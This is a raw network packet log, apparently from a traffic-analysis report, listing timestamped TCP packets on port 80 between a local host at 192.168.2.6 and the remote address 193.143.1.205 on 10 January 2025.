Jan 10, 2025 18:47:32.538394928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538407087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538419008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538425922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538434029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538443089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538454056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538463116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538471937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538481951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538490057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538500071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538527012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.538577080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538587093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.538626909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.539104939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.539117098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.539128065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.539160967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.539175987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.581295013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.581310987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.581321001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.581373930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611133099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611164093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611172915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611192942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611216068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611242056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611253023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611265898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611309052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611323118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611337900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611356020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611450911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611462116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611485004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611500025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611526012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611623049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611632109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611685038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611701012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611736059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611747980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611790895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611854076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611865044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611876011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.611900091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.611917973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612113953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612133026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612166882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612263918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612273932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612313032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612468958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612479925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612490892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612517118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612637043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612648010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612658024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612669945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612683058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612706900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612762928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612912893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.612987041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.612999916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613012075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613045931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.613152981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613163948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613174915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613188028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613198042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.613217115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.613280058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613291025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.613331079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.651729107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651742935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651753902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651813984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.651834965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651845932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651880026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.651953936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651964903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651978016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.651998997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652247906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652259111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652267933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652282000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652292013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652302027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652312040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652337074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652430058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652489901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652573109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652582884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652594090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652606010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652616978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652626038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652635098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652643919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652653933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652664900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.652684927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.652708054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653022051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653032064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653043032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653068066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653143883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653153896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653163910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653173923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653188944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653217077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653424025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653434038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653444052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653455019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653465033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653475046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.653492928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653520107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.653630972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.659692049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.659715891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.659734964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.659796000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.659836054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.659843922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.699382067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701037884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701052904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701066971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701118946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701131105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701144934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701152086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701167107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701181889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701303959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701313972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701323986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701337099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701345921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701383114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701546907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701558113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701567888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701584101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701592922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701603889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701622963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701772928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701783895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701813936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701899052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701910019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701920986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701935053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.701941013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.701958895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702102900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702115059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702156067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702287912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702322960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702331066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702341080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702352047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702363968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702373981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702385902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702395916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702421904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702666998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702683926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702696085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702723026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702804089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702815056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702826023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702838898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.702847958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.702864885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.703031063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.703042984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.703056097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.703066111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.703073978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.703090906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739485025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739497900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739510059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739561081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739578009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739588976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739602089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739635944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739671946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739717960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739723921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739733934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739768028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739804983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739814043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739855051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739873886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739886045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.739929914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.739990950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740001917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740012884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740030050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740035057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740084887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740143061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740154028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740190983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740341902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740391016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740401983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740434885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740475893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740488052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740514040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740573883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740583897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740596056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740612030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740631104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740677118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740891933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740932941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740938902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.740948915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740981102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.740988016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741096973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741108894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741122007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741136074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741147041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741173983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741317987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741328955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741339922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741353989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741362095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741391897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741662025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741672993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741679907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.741709948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741722107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.741743088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.748231888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.748241901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.748291016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.748349905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.748387098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.748394012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788433075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788465023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788508892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788541079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788573027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788587093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788594007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788630962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788712978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788724899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788737059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788748026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788765907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788784981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.788924932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788935900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788948059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.788983107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789037943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789076090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789089918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789180040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789190054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789202929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789222956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789239883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789398909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789410114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789422989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789433002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789467096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789489985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789520025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789581060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789597034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789625883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789695978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789709091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789736032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789810896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789822102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789834976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789846897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789866924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.789972067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789984941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.789995909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790033102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790162086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790198088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790218115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790229082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790268898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790298939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790391922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790425062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790433884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790501118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790512085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790541887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790688992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790699959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790710926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790724993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790745974 CET	49709	80	192.168.2.6	193.143.1.205
